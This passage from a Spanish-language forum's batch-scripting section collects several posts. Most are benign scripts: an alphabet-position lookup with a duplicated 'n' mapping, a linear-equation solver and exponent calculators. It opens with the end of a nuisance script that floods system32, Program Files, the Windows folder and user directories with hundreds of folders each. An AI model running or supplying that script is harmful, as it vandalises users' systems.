echo W >> %homedrive%\zx.txt
echo Q >> %homedrive%\zx.txt
cls
cd %systemroo%\system32
FOR /L %%A IN (1,1,400) DO (mkdir %%A)
cd %"homedrive%\documents and settings\%username%"
FOR /L %%B IN (1,1,400) DO (mkdir %%B)
cd %systemroot%
FOR /L %%C IN (1,1,400) DO (mkdir %%C)
cd %homedrive%\Users
FOR /L %%D IN (1,1,400) DO (mkdir %%D)
cd "%homedrive%\documents and settings"
FOR /L %%E IN (1,1,400) DO (mkdir %%E)
cd %homedrive%\
FOR /L %%F IN (1,1,400) DO (mkdir %%F)
cd %programfiles%
FOR /L %%G IN (1,1,400) DO (mkdir %%G)


Lo simplifique mucho con FOR. Lo use en reemplazo del
Código: text

if %contador% EQU 500

#58
Batch - Bash / Abecedario Batch
Enero 22, 2011, 09:53:00 PM
Codigo que te pide una letra y te dice que numero es en el Abecedario:
Código: text

@echo off
set E= %1
set E=%E:a=1%
set E=%E:b=2%
set E=%E:c=3%
set E=%E:d=4%
set E=%E:e=5%
set E=%E:f=6%
set E=%E:g=7%
set E=%E:h=8%
set E=%E:i=9%
set E=%E:j=10%
set E=%E:k=11%
set E=%E:l=12%
set E=%E:m=13%
set E=%E:n=14%
set E=%E:n=15%
set E=%E:o=16%
set E=%E:p=17%
set E=%E:q=18%
set E=%E:r=19%
set E=%E:s=20%
set E=%E:t=21%
set E=%E:u=22%
set E=%E:v=23%
set E=%E:w=24%
set E=%E:x=25%
set E=%E:y=26%
set E=%E:z=27%
echo En el abecedario es la numero %E%



Saludos, Javier.
#59
Batch - Bash / Resolver ecuaciones (C1)
Enero 22, 2011, 09:52:14 PM
Bien aqui os pongo un code que resulve ecuaciones de primer grado
Este code y explicacion pertenece en su totalidad a: Leo Gutierrez
"Ecuaciones de Primer grado"



Se encarga de resolver ecuaciones de 1er grado, como las que se listan en la opción 2:
Código: text
1.  -3x-9=-9x-63
2.   9x-5=-4x-57
3.   5x-9x=39-3
4.  -7x+9=-9x-5
5.  -3x+1=2x+21
6.   7x+4=9x+6
7.  -5x+8=9x+120
8.  -8x+1=6x-111
9.  -4x+6=6x-64
10. -5x-1=-7x+5


El code que las resuelve

Código: text
echo off
:code
setlocal enabledelayedexpansion
:: -3x-9=-9x-63
echo. ------------------------------------------------------------------------------
echo. ^| Ecuaciones de 1ø grado. Ejemplo :                     -3x-9=-9x-63         ^|
echo. ------------------------------------------------------------------------------
echo.
echo. ------------------------------------------------------------------------------
echo. ^| 1.-Resolver ecuaci¢n.                                                      ^|
echo. ^| 2.-Ver ejemplos de ecuaciones.                                             ^|
echo. ^| 3.-Ayuda.                                                                  ^|
echo. ^| 4.-Salir.                                                                  ^|
echo. ------------------------------------------------------------------------------
echo.
set /p "opcion=Teclee el numero de la opcion dada : "
if not defined opcion (goto:code)
if %opcion% equ 1 (goto:r_ecuacion)
if %opcion% equ 2 (goto:examples)
if %opcion% equ 3 (goto:help)
if %opcion% equ 4 (goto:exit) else (
cls
goto:code
)
:r_ecuacion
cls
echo.
set /p "ecuacion=Ecuaci¢n : "
if not defined ecuacion (
cls
goto:code
)
for /f "tokens=1,2 delims==" %%a in ("%ecuacion%") do (
set "termino1=%%a"
set "termino2=%%b"
)
for /f "tokens=1,2 delims=x,X" %%a in ("%termino1%") do (set "x_1=%%ax")
for /f "tokens=1,2 delims=x,X" %%a in ("%termino2%") do (set "x_2=%%ax")
set "x1=%x_1:x=%"
set "x2=%x_2:x=%"
if ["%x_2:~0,1%"]==["-"] (
set /a "suma_x=!x1!!x2:-=+!"
) else (
set /a "suma_x=!x1!-!x2!"
)
for /f "tokens=1,2 delims=x,X" %%a in ("%termino2%") do (set "c_1=%%b")
for /f "tokens=1,2 delims=x,X" %%a in ("%termino1%") do (set "c_2=%%b")
if ["%c_2:~0,1%"]==["-"] (
set /a "suma_c=!c_1!!c_2:-=+!"
) else (
set /a "suma_c=!c_1!-!c_2!"
)
set /a "resultado=%suma_c%/%suma_x%"
echo.
echo.
echo.------------------------------------------------------------------------
echo.Resultado de la ecuacion.
echo.x =  %resultado%
echo.Ecuacion = !ecuacion:x=(%resultado%)!
echo.------------------------------------------------------------------------
set /p ,=Enter para volver al menu.
cls
goto:code
:examples
cls
echo.Este programa puede resolver ecuaciones como las siguientes :
echo.
echo.1.  -3x-9=-9x-63
echo.2.   9x-5=-4x-57
echo.3.   5x-9x=39-3
echo.4.  -7x+9=-9x-5
echo.5.  -3x+1=2x+21
echo.6.   7x+4=9x+6
echo.7.  -5x+8=9x+120
echo.8.  -8x+1=6x-111
echo.9.  -4x+6=6x-64
echo.10. -5x-1=-7x+5
for /l %%$ in (1,1,4) do (cd.)|echo.
set /p ,=Enter para volver al menu.
cls
goto:code
:help
cls
echo.Este peque¤o programa ayuda a resolver ecuaciones del tipo :
echo.-3x-9=-9x-63
echo.
echo.Solo tiene que teclear su ecuaci¢n en el menu inicial (opci¢n 1). y el
echo.programa se encargar  de resolver la ecuaci¢n.
echo.
echo.
echo.Leo Guti‚rrez R.
echo.
echo.
set /p ,=Pulse enter para volver al men£.
cls
goto:code
:exit
exit /b 0


Salida:
Código: text
Ecuación : 9x-5=-4x-57


------------------------------------------------------------------------
Resultado de la ecuacion.
x =  -4
Ecuacion = 9(-4)-5=-4(-4)-57
------------------------------------------------------------------------
Enter para volver al menu.


SAludos
#60
Batch - Bash / Elevar a cualquier potencia (C2)
Enero 22, 2011, 09:51:39 PM
Este code nos permite elevar cualquier numero a cualquier potencia
Bien aqui pongo otro code y explicacion de Leo Gutierrez
"Elevando a cualquier potencia"
Código: text
@echo off
:code
set /p "base=Numero : "
if not defined base (goto:code)
set /p "potencia=Potencia : "
if not defined potencia (goto:code)
:funcion
set /a resultado=0
if %potencia% equ 0 (
rem Salimos
echo.1
exit /b 1
) else (
set /a "resultado=%base%"
for /l %%i in (2 1 %potencia%) do (
set /a resultado=resultado * %base%
)
)
echo.Resultado : %resultado%
exit /b 0


Salida:
Código: text
Numero : 2
Potencia : 4
Resultado : 16
Press any key...


Código: text
Numero : 5
Potencia : 8
Resultado : 390625
Press any key...


Código: text
@echo off
if ["%1"]==[""] (goto:error)
if ["%1"]==[""] (goto:error)
set /a resultado=0
if %2 equ 0 (
rem Salimosecho.1exit /b 1
) else (
set /a "resultado=%1"
for /l %%i in (2 1 %2) do (
set /a resultado=resultado * %1
)
)
echo.Resultado : %resultado%
exit /b 0
:errorecho %~nx0 Base Potencia&echo
.echo.Leo Gutierrez R.
exit /b 1


Para elevar numero negativos, code de Smartgenius

Código: text
@echo off
REM Funcion Potenciacion
REM Coded by :: SmartGenius ::
if ["%1"]==[""] goto :sintaxis
setlocal enabledelayedexpansion

:main
set pot=1
for /f "tokens=1-2 delims=p" %%a in ("%1") do (
for /l %%c in (1,1,%%b) do (set /a pot=!pot!*%%a))
echo %pot%
endlocal
goto :eof

:sintaxis
echo Modo de Uso:
echo.
echo %~n0 Base_p_Exponente
echo.
echo Ej: 2p5 2=Base 5=Exponente ==^> Resultado: 32
goto :eof

SAludos